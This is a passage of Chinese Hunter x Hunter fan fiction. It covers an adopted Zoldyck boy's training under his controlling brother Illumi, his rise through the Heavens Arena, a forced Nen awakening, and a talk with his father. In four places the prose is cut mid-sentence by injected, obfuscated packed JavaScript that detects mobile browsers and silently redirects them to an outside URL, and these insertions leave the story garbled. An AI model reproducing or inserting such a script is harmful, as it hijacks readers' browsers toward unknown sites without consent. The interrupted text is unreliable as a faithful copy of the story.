而每次回家路上，伊尔迷总会给伊洛林一点放松时间。 他们会手拉着手，走在路上，像最普通的兄弟那样。买一支冰淇淋，或者来一串糖山楂，偶尔是一个冒着热气的大肉包子，要么是一张饼。亦或者在琳琅满目的商品前，耐心询问伊洛林想要什么，付出零碎的钱币，换得弟弟一瞬间的眼睛发亮。 真好懂。 伊尔迷想，小孩子的快乐也就是如此了。 偶尔伊洛林也会收到巧克力。 这东西一直是奇犽喜欢吃。伊尔迷没有什么具体喜欢的食物，能吃进肚子里就算是可以，糜稽喜欢高热量的食物但不是高糖，柯特暂且还没有表露出来什么兴趣爱好，只有奇犽的喜好一如既往。甜得发腻的糖球，像是糖浆一样在嘴里融化，巧克力变得黏稠，拉扯在唇舌之间布满味蕾之上。 伊洛林不爱吃巧克力，但他还是会吃掉。 以此在长夜里回味那些酸甜苦辣咸，品尝出兄长的良苦用心来。 八岁的伊洛林已经能够在任务时有些作用，伊尔迷分给他一成佣金，算作奖励。他偶尔会作为诱饵，让一些人上当受骗，不必任何伪装，他懵懂的视线与稚嫩的面颊能够成为最好的蜜糖，当然，蜜糖与砒霜也仅有一步之遥。 而这一次伊尔迷少见的脸上沾了血。 他的肩膀上坐着弟弟娇小的身躯，居高临下望着死不瞑目的任务目标，伊洛林的语气有些疑惑：“哥……你杀的好像是我的任务目标吧？” “啊，抱歉，哥哥手快了。” 不，不是这么一回事。伊尔迷心里清楚，他冷漠的眼睛注视着地上男人，心里隐约有些想要把他再弄碎一些的冲动。当他用恶心的眼神看着伊洛林，手掌伸向年幼的弟弟时，伊尔迷稍微有些发了脾气。 真是糟糕，这样下去他会变成不放心伊洛林的那种哥哥的。 而伊洛林还在纠结：“那任务佣金？” “全部都给你。” 伊尔迷不甚在意。 他喜欢金钱，金钱能够衡量价值，事物，与人类，性命和时间，金钱累积出的财富可以做出各种各样的事情，能够买到弟弟们喜欢的东西，能够将社会地位提升，伊尔迷像热爱财宝的巨龙不断往账户里进着资产。但他又决计不会小气，对于自己的弟弟们也是大方，不过是一笔佣金罢了，伊洛林账户里如今的十亿都是多亏了他才对。 “哥哥，下次不要生气了。”伊洛林侧身抱住他，他的身体温热，小小的，又柔软又舒服：“我不会让自己受伤的。” 这不是很好吗？ 他最喜欢的就是伊洛林适应后的样子，听话乖巧又懂事，贴心且温顺。 “好。” 伊尔迷当然是个好哥哥，很好很好的哥哥，所以他原谅弟弟的不聪明，不合群，一心一意雕琢打磨这块璞玉，将它变成自己心里的模样。 价值几何，全靠大师工艺手法。 时光依旧流逝，伊尔迷算算日子，奇犽也差不多应该要到达两百层了吧？ 最近家里正在讨论是否要让奇犽上两百层，如果他上去了，那么他就会发现念的存在，他会过早接触到念。最好开发念力的时间应该是十二岁左右，所以席巴决定在奇犽能够上两百层的时候，将他带回来。 这一点全家都没有异议。 而最后被讨论的，是伊洛林。 “他还抵抗杀人吗？”席巴询问，最重要的点必然是这个，什么样的家庭培养什么样的孩子，揍敌客家养不出没用的废物，明明之前都做得不错，现在功亏一篑就太可惜了，而伊洛林又知道太多揍敌客家的事情，如果不能解决，那么伊洛林最后的结局也就仅有那一个罢了。 所幸，伊尔迷给出了不错的答复。 “没有哦，最近执行任务都很认真，虽然伪装尚且拙劣，不过都照做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我以后可以自己行动的话，一定要天天出门！伊洛林，到时候我就带你去玩，外面的世界比这里可开心多了！” “奇犽，你回来了啊。” 伊尔迷不知何时出现在门口，看见弟弟一瞬间变得僵硬，又排斥又不得不低头的样子，他眼神柔和，只是说出的话依旧我行我素：“不可以哦，奇犽你还有很多训练，还有任务要去做，所以应该没有时间。” “不过没关系，奇犽，明年伊洛林会去天空竞技场体验你体验的生活。” “——不高兴吗？” 伊尔迷摸了摸奇犽的发顶，而奇犽艰难解释了两句没什么，他没能说自己想和伊洛林玩，也没能说出口自己真正的想法。他侧头，看向自己安静的弟弟，他留着长发，乌黑的眼睛并不是揍敌客传统的猫眼，而是一双圆润的下垂眼，显得腼腆而内敛且温顺。 奇犽有些恍惚的发觉，伊洛林他开始像伊尔迷了。 “奇犽，没什么事的话，就去找妈妈吧，她很想你。” 奇犽听话地离开，关上门的那一刻，奇犽看见伊洛林低垂着眉眼，他的表情像什么呢，奇犽暂且还不清楚，他缓缓合上门，将内部的训练隔绝。 这一刻奇犽恍惚意识到一件事： ——伊洛林从未真正笑过。 14. 14 天空竞技场。 直插云霄的建筑物，上方缭绕着云层，建筑与人来人往的市中心，像是超越现代科技的新时代产物。 奇犽就是在这里花了两年时间，打到了两百层，但被父亲带回了家。伊洛林独自一人走进了竞技场，十岁的他在这里格格不入，全部都是大人的世界里，混杂了他这么个小孩，于是别人看他的视线都像在打量一块肥肉。 伊尔迷说他要去找一个人，不过会关注伊洛林这边的情况。 伊洛林踩在凳子上，努力踮起脚在纸上签署了名字：生死状嘛，他懂。 最好的情况下，他打三场就能够上一百层了。 奇犽果然是在偷偷拖时间嘛。 伊洛林在等候区等待着自己的号码，等候区的电视机播放着实时，他观察着目前在场上的两个人，都是身强力壮的角色，可是总觉得还有点弱。伊洛林看了看自己的手，这只手已经能推开两扇家里的门，奇犽吃力一些能推开三扇，虽然不知道到底是多重，家里人也没说，不过应该是比较重了吧？ “请1113号选手，1536号选手，上台。” “请1113号选手，1536号选手，上台。” 听到自己的号码，伊洛林转身向入口走去。这地方像极了斗兽场，中间二十块战斗台，四面八方都是观众席，那台子的高度都有一个伊洛林高了，他轻轻一跳跃上了平台，和自己的对手打了个照面。对方似乎是个武术家，肌肉精悍，身形高大，在伊洛林面前就像是一座山一样黑沉沉。 大概是因为年纪的关系，电视屏幕上清晰出现了伊洛林的脸，解说员的声音也响了起来：“这位小朋友年仅十岁就有勇气参与战斗，让我们来看看她的实力究竟如何！加油啊！” 她？讲错了吧。他是男的啊。 伊洛林疑惑了一秒，没去追究，这块场地上的裁判比划出开始的手势，退在一旁。 “小朋友，你现在认输还来得及。” 男人笑着，眼神里是毫不掩饰的轻蔑，伊洛林轻轻一鞠躬，而后摆出了架势。 对方冲过来，毫无技巧一拳砸来，伊洛林侧身躲避，左手抓住他冲过来这拳的手腕，微微一矮身，与此同时一拳向上直击他下颚同时松开左手，这一连串动作仅在一秒间完成，没把控力度的下意识反击，让男人飞出去的同时横跨了七八个战斗台，最终躺在地上一动不动。 裁判吹响了哨子。 “1536，获胜！” 关注着这个场地的观众们哗然。 应该没死吧……伊洛林心想，最多碎了下颚骨，下半辈子说不出话。虽然很愧疚，但是下次他一定会温柔一点的，没想到这里的人程度这么差…伊尔迷没和他说啊。 怀着愧疚的心，他接过了裁判的纸条。 晋升，五十三层。 伊洛林去找了电梯，开门的是位漂亮的电梯小姐，笑容满面地欢迎着他，看见是个小孩，笑容更加灿烂一些：“请问您要去第几层呢？” 伊洛林将纸条递给她，“五十三，谢谢你。” 她关上门，摁了五十三这个数字，电梯缓缓上升，沉默的氛围里电梯小姐同她搭话：“想你这个年纪的孩子来这里可真是少见，之前还有一个小孩打到了两百层呢，连十岁都没有，真是后生可畏。” 那个应该是奇犽。伊洛林如是想到。 “不过，跟你同年纪的女孩，也有一个，已经上了两百层，说不准你会遇见呢？” 伊洛林缓缓抬头，迟疑了一瞬，指着自己。 “……我是男生。” 电梯小姐差点摔在地上，扶着墙壁起来时露出惊悚的表情。她看着留着黑色长发的伊洛林，再看看他穿的露肩吊带小短袖，牛仔超短裤，小腿袜与运动鞋，忍不住握住他的肩膀，摇晃着询问为什么会穿女生款的衣服，是哪个变态逼着的吗？！ 伊洛林被摇晕了，磕磕绊绊回答道：“妈妈……妈妈喜欢……” 电梯小姐没忍住又抱了抱他。 最后伊洛林和顶着脸上的两个红唇印飘出来的，外面的大姐姐，好热情…好漂亮又好喜欢。他脚下轻飘飘的，差点忘了该往哪边走，幸亏有提示牌，否则他都要走到角落里去了。 五十层开始，台子变少了一些，解说也更加长久了点。 “现在上场的是1536号选手，在一层拿下了一场胜利，只用一拳就解决了对手！让我们拭目以待！” 这次的对手也是一个肌肉壮汉。 为什么下面的肌肉壮汉这么多，几乎个个都是，上面的层数也会一样吗？ 伊洛林不太懂，但伊洛林依旧摆出了架势。 所谓架势，也就是站着抬起两只手，一高一低地放着，方便他进行反击而已。对方好像看过他的战斗实况，从怀里掏出了一把刀，竞技场没有不允许带管制刀具的限制，大概是因为真正的强者不需要武器吧。他猜的。 伊洛林躲避了三次，次次都干脆利落，双手一撑地，翻身用脚踹上他的手腕，匕首脱手的同时，回旋一击扫堂腿，对方重重摔在地上。他有心观察对方，于是没有急着结束战斗，反而是站在那里没有再动作。这下他惹怒了对方，哪怕脚脖子和手腕都疼得要命，他也要把这个小屁孩子送进地狱。 盛怒之下他一个飞扑，大概是想要用体重优势压着伊洛林打，不过伊洛林重新蓄力了一拳，恰好时机打上他的胸膛，骨头碎裂的声音太过明显，对方重蹈楼下的覆辙，飞出去七八个台子，落地，一动不动。 “太精彩了！！1536号选手，再次获得胜利！！” 这次他拿到了九十三层的通行证，只需要打过这一场就能上一百层，还有一间房间住。 又一次顶着唇印出了电梯，伊洛林先解决了自己的午饭，花了点戒尼点了一个汉堡一包薯条一杯可乐套餐，他现在赚到的钱都在伊尔迷那，开销用的钱是天空竞技场的奖金，打上两百层后就可以在伊尔迷手上把自己的卡拿回来了。 一边咬着汉堡，吃着平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“西索，我安排的是你们在二百层见面。” 伊尔迷没什么表情，也不打算回答他的问题，至于他身侧的女孩子，伊尔迷更是看也没看，西索哼哼笑了两声，晃了晃手指：“我只是要带格蕾西去买点衣服，顺便过来看看而已……保护欲太强的话，果实可不会成长的呢。” “嗯，是这样的。” 伊尔迷平静接受了。 格蕾西望着那在伊尔迷怀里睡觉的长发男孩，她觉得对方真是可怜，被这样控制着，像木偶一样。但她觉得自己也很可怜，好不容易从流星街爬出来，还没大喊一声世界我来了，就被迫跟自己的亲哥见面，她哥还是个小丑一样的变态。 好吧，他们都一样可怜。 乘坐电梯下去，西索询问格蕾西对伊洛林的感觉如何，格蕾西没见过伊洛林，对战也不看，刚刚也就看见个后脑勺，听说他很听话，格蕾西漫不经心回应了：“我不喜欢没主见的人，像妈宝男。” 哼，反正她绝对不会对这个世界的人有什么真心就是了。 她觉得不会有那种人。 15. 15 第三场，稍微比前两场难一些。 但是也没有难到哪里去就是，伊洛林甚至怀疑起这个地方来，一百层以下都这么容易吗？ 他干脆利落一个飞踹就能结束的战斗，生生拖了三招才解决，就是想看看对方的实力如何，结果也没有什么可看的。要不是迄今为止他还打不过伊尔迷，并不存在的尾巴就要翘起来了。 天空竞技场安排的房间很随便普通，只能算得上是干净，没有别的优点，连床铺都硬邦邦的，还好伊洛林已经习惯了树上睡觉地上睡觉和熟练地在野外找到睡觉的地方，多亏了伊尔迷隔三岔五一时兴起的二十四小时捉迷藏活动，偶尔还让三毛和他玩一场快乐的生死时速。 只要伊尔迷在附近，或者他累得快死了，他就能睡着。 不过下午刚刚睡了一场的伊洛林显然没到累得快死的地步，伊尔迷也不在，但他可以给自己找点事做。 他脱去上衣，露出肌肉线条轮廓分明的上半身，只穿一条白色长裤，趴在地上做俯卧撑。他在心里默数，一下，两下，三下……直到三千下他才停止，浑身浸出一层薄汗，感受身体的舒展，伊洛林找了个角落练卷腹。他从前似乎对这些运动从来不感兴趣，后来他经常靠把自己练得呕吐来阻止自己想太多，崇尚笨鸟先飞的精神时，一切都能被归咎于他想变得更强大。 或许是更强大不会拖后腿，不会被那么轻易地掌控，伊洛林总是想更强大一些。 然而伊尔迷的存在就像是磨了三千天也没细的螺纹钢。 最后他浑身是汗的泡了个热水澡，看到了新鲜升起的太阳，感叹这一晚上真是充实，睡得少，死得早，但他才十岁，根本不怕死的早。 随便擦了擦身体，伊洛林围了一条毛巾在腰间，去冰箱里拿昨晚上买的果汁喝，冰冰凉凉的果汁灌进肚子里，醒上加醒，伊洛林满足赞叹，任由湿漉漉的头发披在身上，还在往下淌着水珠。 今天也能够打三场吧？ 伊洛林擦干头发，换好衣服，从房间里离开。 第一场，胜利。第二场，胜利。 胜，胜，再胜……怪不得奇犽一下子就被发现是在摸鱼了，这种新手教程难度花两年，怎么想都想不出来，虽说奇犽那个时候才六岁，但六岁的奇犽他也打不过。奇犽本就是家里最有潜力的孩子，学什么都是一学就会，一点就通，随便练一下进步就巨大，按照伊洛林打上来的经验，这还没他们在院子里玩过家家来得快。 时间转瞬即逝，一周后，伊洛林成功获得了一百九十八层的资格，明天打最后一场就足够了。 不需要在家里训练，他就每天在房间里自己训练。 累极了，就闭一闭眼睛，这一周里伊尔迷回来过两次，那两天伊洛林睡了好觉，毕竟奇犽虽然就是在家里而已，但伊尔迷还是负责了他训练的其中一部分。 奇犽很重要，是最重要的。 伊洛林也是这么想的。 刚刚洗完澡躺下，电话铃就响了，这是他去年生日收到的礼物，糜稽买给他的，存了家里所有人的联络方式，除了奇犽和柯特，因为他俩还用不上，虽然奇犽闹腾了一阵子，但是不想他被手机游戏和外界吸引的家人还是没答应。而伊洛林则要学着接任务了，单独出马也是必要的，而不是像奇犽一样只是去练手，实践。 这是最新款手机，柯特挂了个小花链条上去，纯金打造，奢侈豪华。 “二哥，晚上好？” 糜稽似乎在打游戏，评分奖励的声音不断出现，他本想说话，但是那头有谁在抢着他的手机似的：“等等，不要抢……你们两个给我排队啦！可恶，我才是哥哥！” 是哥哥的糜稽败了，惨败。 因为接电话的人变成了奇犽。 “伊洛林！”奇犽的声音从那头传来：“怎么样怎么样，天空竞技场是不是超好玩？你打到第几层了，记得拖一拖啊！” 伊洛林有些心虚：“一百九十八层吧……” “什么啊，你完全没去玩吗！” 完全没有……伊洛林心虚。奇犽转手把手机给了柯特，家里唯二没有手机的人，却是最想联络伊洛林的人。柯特的声音从那边传来：“哥哥，我是柯特。” 他被母亲教育，感情与心情都要好好地收敛起来，伊洛林一想到柯特的眼睛，就禁不住心软了起来：“我在，柯特，哥哥在这。哥哥很快就能回家了，会给你带礼物的。” 奇犽嘁了很长一声：“偏心，对柯特就话这么多！” “奇犽哥的礼物我也会准备哦，听说你把两个亿都买了巧克力糖球，然后全部吃掉了诶？” 奇犽大声抗议，这到底是谁和伊洛林说的啊，他作为哥哥也是要自尊的！糜稽吐槽你哪来的自尊，你吃的时候怎么没想到要自尊，奇犽和他又惊天动地起来，只有柯特的呼吸还很平静。伊洛林等了一会儿，柯特也没说话，伊洛林忽然意识到了什么，难掩眉眼间的温柔。 “哥哥也想你了。” 很久很久，那边才小小声地回了一句，“嗯。” 他们从未分别开太久过，骤然这么久没见，柯特想他了，可是却又无法好好说出自己的心里话，于是只能保持沉默。而伊洛林总是看穿他，安抚他，直抒胸臆。 正是因为如此，他才喜欢伊洛林。 挂掉电话，伊洛林决心快点上两百层，那样应该就能够回家了。到时候和大哥说，去挑一些礼物给家人，他应该不会拒绝自己的要求才对。 而他正式上了两百层之后，却意识到应该没那么简单。 奇犽还没上两百层，只是获得了资格就离开了，而他上了两百层，电梯小姐依依不舍地和他说要加油，实在不行就回来吧，下次还有机会。 原本不解其意，却在走廊上感觉到了风。 ……不，不是风。 是流动的气息，明显地掠过身体周围，是越发浓烈的压迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035558|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感，沉甸甸的压下来，不远处的女职员温柔着眉眼，看着伊洛林：“如果无法走过这条走廊完成报名，将会重新回到第一层，你只有两次机会，请在二十四小时内完成登记。” 伊洛林试探性往前走一步，压迫感更甚。 伊洛林戒备着，终于看到世界的另一面，这种感觉和伊尔迷带给他的类似，原来两百层以下都没有强者的原因，是这个吗……因为他们，上不了两百层。 “顺带一提，两百层以上，没有奖金。” 她补充了一句，紧接着微微侧首。 在她看过去的方向里，轻快的脚步声响了起来，深处走廊泛着惨白的灯光，女孩轻飘飘的裙摆掠过大腿，巍然不动地在气流与压迫下走过来，长发飘飘，面颊圆润，稚嫩面容没有什么表情，只是在眼神触及伊洛林的脸时有了一瞬间的迟疑。 同样的，伊洛林在看到她的一瞬间，大脑皮层骤然刺痛。 他的记忆翻阅到很久之前，他还在上初中的时候，同桌的女孩拥有一张一模一样的脸。 女孩走到他面前，冲着电梯抬了抬下巴。 “走吧，我带你去学念。你哥……和我哥有事。” “我的名字是格蕾西，不用自我介绍了，我知道你的名字，伊洛林。带我去你的房间。” 伊洛林花了一点时间去消化这件事。 沉默站在电梯里，格蕾西瞥了一眼伊洛林。 像，很像，像她记忆里的那个人，那个在生命里不可或缺的重中之重。她在流星街遇见的第一个人，长了一张和她八分像的脸，她以为是她，于是惊喜喊出了名字，对方茫然的眼睛让她一腔雀跃都平息，变得冰凉。是了，哪里有那么多双穿，她和她之间若要选一个人出来惩罚，也绝对不应该是……林洛。 对，林洛。 念念不忘的名字，咬碎了咀嚼，混杂着血泪吞咽进肚子里去。 她怎么从流星街里走出来的？因为受伤的时候，会想笑，觉得林洛一定会哭哭啼啼的帮她包扎，饿肚子的时候，会想林洛做的饭。 她们有个家，自己的家，在这里她们把酒言欢。 没有血脉的家人，紧紧握住的双手，现如今被命运残局地分开了。愤怒的心情在胸腔里燃烧，一夜一夜，一年一年，独自舔着伤口时，格蕾西想，这个世界上没有林洛，没有她想要见的人。 而那个叫零的女人，大概就是她现在能够有的，最好的选择。 既然长了这样的一张脸，零的性格贴近林洛，那么你呢，伊洛林，你和林洛的区别到底在哪里？ 啧。格蕾西烦躁。伊尔迷本想自己帮忙伊洛林开念，可西索提议让格蕾西去，毕竟他们是同龄人，显而易见有话说，如果不出意外，这两个家伙应该在某个地方观察着他们两个人吧？真是口香糖一样的两个人。 而伊洛林在想什么呢？ 他在想格蕾西。 想她那张重叠的脸。 16. 16 所谓念，是将人类的生命能量加以应用的超自然之力。 格蕾西说，总之就是超能力。 而开念，就是类似你身体上有很多精孔，要么通过冥想和打坐慢慢发动，要么是别的念能力者强迫给你开通。 格蕾西说，后者不推荐哈，可能会死。 伊洛林听了半天，没听懂，他张了张嘴想说话，看到格蕾西的眼睛又瞬间闭了嘴。他懂看人表情识眼色，清楚地知道对方大概不是自己想来的，而她应该就是电梯小姐嘴里说的，和自己一样年纪却上了二百层的人。 而她的哥哥认识自己的哥哥。 这就是伊尔迷最近几天总是不在的原因吗？ 大概就是只要幻想，身体周围有气体流动就可以了吧。 伊洛林盘腿进行打坐，努力冥想着身体周围有气体在流动，他努力地幻想，幻想，冷静下来……有些失败，毕竟孩童之所以能够成功率高的原因，是因为他们杂念少，想象力丰富，而伊洛林的内核是个成年人，哪怕拥有孩童的外貌也无法做到真正地成为一个孩子。 伊洛林尝试了几个小时，他自己沉入其中忘了时间，但等待着的格蕾西已经无聊至极。 说到底，根本就是需要一个多星期甚至更多时间才可能成功的事情。怎么会有人天赋高到立刻就出现啊？再说了，看这个跟女孩一样的男孩也清楚，他的天分远没有那么高，这次大概就是失败了吧。 而暗中观察的伊尔迷还是忍不住有些失望。 天分太低了，如果换成奇犽的话，应该十分钟内就能够做到的……思及此，伊尔迷侧首望了一眼也显得兴致缺缺的西索他，他的表情完全是一副提不起任何玩心的样子，对于无法立刻感悟的普通人，西索的想法是没有想法。 “按我说的做吧。” “真是的，还以为伊尔迷你的弟弟，怎么说也不会差到哪里去呢~哎呀，生气了？” 西索愉悦笑起来，他根本不怕伊尔迷骤然扩散的杀气与明显不悦的神情，这让他觉得除了护崽以外，伊尔迷还有别的事情没告诉他，望着他的眼睛，西索不怕死，也作死地又在边缘试探了一大步：“该不会，他根本不是你弟弟吧？” 十年了，第一次有人把这个事情放在明面上讲出来。 他养了这个孩子十年了。 伊尔迷的眼睛黑沉如深渊：“西索，惹怒我的话，就不跟你约定了。” “好可怕，好可怕。”西索毫不在意，但态度也有所改变：“但你要做好准备哦，你弟弟，可能真的会死。” “没关系，按我说的做。” “真是个蛮不讲理的哥哥呢，伊尔迷?” 伊尔迷推开门，打断了伊洛林的冥想，他似乎很辛苦，额头浸出了冷汗，下意识说的第一句话就是道歉。他愧疚自己无法参透开念的意思，也愧疚他的脑海里想法太多，让人无法平静。他应该接受惩罚，应该被鞭打……还未继续想下去，伊尔迷喊了他的名字，用稀松平常的语气询问伊洛林，是否能进行更加危险一些的行为。 比如，外力刺激。 “哈？真的假的。”你对你弟这么差的吗？格蕾西欲言又止。明明都说过了可能会死，怎么在伊尔迷看来只是危险一些？她情不自禁有些怜悯起伊洛林来，这个人拥有一张林洛的脸，可怜劲儿也都差不多，性格软又好说话，但不是林洛就不是林洛，她是没可能出头做好人的。 虽然她自己也是被强制性开念，但是那种差点死掉的感觉，她这辈子都不想再体会一次。 明明有两次机会，虽然这家伙的天赋一般，可是三天时间就足够了吧？真的有那么紧急吗，她之前从一层打到两百层，也是花了一个多星期，证明伊洛林差不到哪里去吧。 应该会拒绝吧，再怎么软弱，毕竟是自己的命…… “好。” 伊洛林回答道，“都听大哥的。” 不知为何，格蕾西心里一阵烦躁，这种烦躁毫无来由，就像是……就像是，她曾经，也这样烦躁过。但她依旧没有开口，只是走向一侧，坐在靠近门口的床铺上，冷冷地看着这一切。 他自找的，他自己愿意给人欺负的，他自愿的。 格蕾西不是救世主，她不会想要拯救任何人，从流星街爬出来的人，也不可能温柔善良。 ……好吧，除了零。 “只要有自保能力，我愿意做点什么事，是我的自由。”零说这句话时，面对着的男人有金色的头发，一张可爱的娃娃脸，但他看向格蕾西的目光可不算和善，她们注定要离开，只不过零被挽留，她拒绝了，并且坚定地行走自己的路。她这么说的时候，格蕾西想，这一点也挺林洛的。 林洛，林洛，林洛。 这个名字不断在心里盘旋。 发现自己不见的时候，她会不会哭？这家伙太爱哭了，眼泪会一直掉下来。她会不会被欺负，会不会又被带回那个家？只要一想到这样的事会发生，格蕾西就无法控制自己的愤怒。燃烧啊，像沸腾一样燃烧，她忘不掉那个世界最重要的人，接受不了这个世界的一切，直到死亡摆在她面前才心不甘情不愿的开始接纳。 不想忘掉，有关于那个世界的一切，有关于林洛的一切。 你还好吗，有好好吃饭吗，有好好睡觉吗，头还疼吗，还要看心理医生吗……林洛，你能够自己一个人好好活下去吗？ 名字是诅咒，自愿的诅咒。 格蕾西只是一晃神的工夫，伊洛林已经被强制开启念力，他捂着脑袋跪在地上，而西索则用伸缩自如的爱模拟了念裹住身体的办法，虽然只是一部分，敷衍着这么做的感觉非常明显。伊洛林看起来状态很不妙……他的肌肉绷紧，呼吸粗重，脑子里头尖锐疼痛搅弄的他的大脑一片空白，只剩下一句话正在不断地浮现。 「你在被束缚」 伊洛林伏低了身体，每一寸身躯都在激烈的颤抖，他的十根手指抓挠着地毯，念力在不断地挣扎，如同沸腾的水一般不稳定，他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035559|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气体在收缩，在膨胀，反反复复，最后一瞬间骤然笼罩在身体周围开始循环。谁也不知道他那一刻经历了什么，只是西索挑了挑眉，而伊尔迷也放下了手。 汗水浸透了伊洛林的衣服，他的长发流淌在地毯上，呼吸也逐渐变得很轻。 西索站了起来，招呼格蕾西离开，她关上门时忍不住回头看，看到一张空白茫然而惨白无血色的脸，和不断流淌的眼泪，以及伊尔迷轻飘飘的那一句：“怎么又在撒娇了……” 门，合上了。 她跟在西索后面，没走几步路，就差点撞到了西索。 “你很在意他吗？”西索洞察人心的能力实在太强，格蕾西甚至有些恼怒自己被看穿了，她现在年纪小，摆脱不掉这个自称哥哥的家伙，但等她长大，她就要和西索一决生死。所以格蕾西还是不情不愿地回答了：“他怎么对自己弟弟那样，我还以为他挺宠他弟的。” “嗯哼？你听说过一句话吗？” 西索的笑容越发诡异，一张扑克牌抵住了唇瓣，声音都在因为愉悦而颤抖：“所有的爱，都是明码标价的哦，格蕾西。” 那算什么爱？只能算是买卖而已吧！ 格蕾西翻了个白眼，用中文说了句疯子，大跨步离开。 她绝对是因为太想念林洛了才会觉得伊洛林可怜，才会觉得他们像，才会觉得刚刚没有出手的自己有点后悔。这个世界，果然烂得一塌糊涂。 格蕾西在夕阳下山前看见了伊洛林。 他步履稳健穿过二百层的走廊，填写了登记表，正式成为了两百层的一员。他低垂着眉眼，像极了林洛。 这可不能吃代餐吧。格蕾西挠了挠头。伊洛林转头看见她，自己也愣了愣，犹豫地走过来，面色还苍白着，却已经好了很多，念力平稳流动，他是来道谢的。跟他哥真的不像一家人，仔细一看眉眼也差很多，但尤其是眼角下那颗泪痣，尤其像林洛。格蕾西心情复杂，挥挥手让他别说了。 “我什么都没帮到你。” 但她没忍住，又问他，“为什么不拒绝？明明可以等下一次吧，怎么偏偏要答应？” 伊洛林似乎没想到她会问出来，有些犹豫地闪烁了下视线。 “……他是我哥哥，只会做出对我有好处的安排，不会让我死掉的。大哥他，从来都不会做会失败的事情。” 哈，还真是盲目相信啊。 疯子。格蕾西小声吐槽了一句，伊洛林下意识问了一句什么，格蕾西自认为这里没人懂中文，连敷衍也懒得，只说了句没什么，她转身就走，回了自己的房间，而伊洛林的房间离他不远，虽然他也想说什么，但到底还是没开口。 毕竟，只要看着格蕾西的那张脸，他就会想起顾深深。 想起顾深深，就会想起自己还被毫无保留信任和爱着的时候，会想到如果是顾深深绝对会大发雷霆地让伊尔迷滚吧，伊洛林下意识勾了勾唇，却在开门的时候看见了房间里的人。 “……爸爸？” 17. 17 席巴正站在他的房间里。 作为一家之主，席巴经常是作为决策者，除非在吃饭的时候，否则很少看见。 而家里的教育基本是交给伊尔迷的，只有奇犽才能让他亲力亲为，所以对伊洛林来说，席巴是具有威严的，这个威严从他们第一次见面时候就种下，只是那个时候的记忆大部分都被模糊了，伊洛林记不起来，可那种尊敬还刻在骨子里。 席巴竟然，因为他而离开了，家？是出任务经过。还是别的什么原因？ 伊洛林收敛了笑意，立刻关门，走到父亲面前。 “爸爸，您怎么来了？” 望着伊洛林依旧惨白的脸，席巴思量着自己说话的语气，尽量委婉了一些：“我听说，伊尔迷强行为你开念。” 只是过去了不到五个小时，他就知道了？ 伊洛林心下一惊，他不知道该说什么，害怕席巴会觉得自己的天赋潜力太差，有些着急起来，张了张嘴却始终什么都没有去解释，只是嗫嚅着唇瓣，说着对不起。 “你有什么对不起我的？” “我、我太差劲了……我没办法为柯特做好榜样，也做不到和奇犽哥一样强…我甚至，没办法很快的开念……” “除此之外呢？” “……我、请爸爸你告诉我，我一定会改！” 席巴叹了口气，他坐在伊洛林的床上，冲他招了招手：“过来，伊洛林，到爸爸身边来。” 席巴一直没有亲近这个孩子，哪怕他表现出来的纯粹足够让人动容，哪怕他从来不曾怨恨，不曾有过不一样的眼神。揍敌客家是以家人为主要中心的家族，血浓于水的方针是他们最本质的行动信仰，当初伊尔迷想要伊洛林，他可以认同伊尔迷想要养育写着自己姓氏的小宠物，但后来伊洛林真的成为了家人。 他必须警惕，必须保护自己的家族。 伊洛林没有犹豫，他走了过来，乖巧的被父亲抱进怀里，由于是第一次，他很快就小声地啜泣起来。虽然一直叫着爸爸，却有一种隔阂感，他不敢像别的兄弟姐妹一样，对着父亲有撒娇的意思，更何况揍敌客基本不会撒娇。 “抱歉，伊洛林，爸爸从来没有抱过你。” 他这句话说得真心实意。 其实早就该改变一下的，不是吗？伊洛林能够在基裘身侧睡着，证明他对妈妈的信任程度十分高，否则在伊尔迷念针的干扰下，应该不可能那么轻松。基裘遗憾过他不是自己生的，养了十年，也不可能做到翻脸无情，他与糜稽、奇犽和柯特三个人的互动，自己也看在眼里。 他不是个合格的揍敌客，但是个合格的儿子、弟弟、哥哥。 毕竟是他亲眼看着长大的。 伊洛林摇头，他的眼泪怎么也停不下，感觉自己被接纳的时候，就觉得好幸福。哪怕做了很多不喜欢的事，哪怕受了很多伤，疼过很久，苦了很久，他始终都觉得这是为了家人。所以不需要父亲的道歉，他只是太高兴了，他只是……高兴。 “我、我知道，爸爸一直在看着……我会努力的，我已经会念了，所以我以后一定会和大哥一起……” “你大哥，也做错了。” 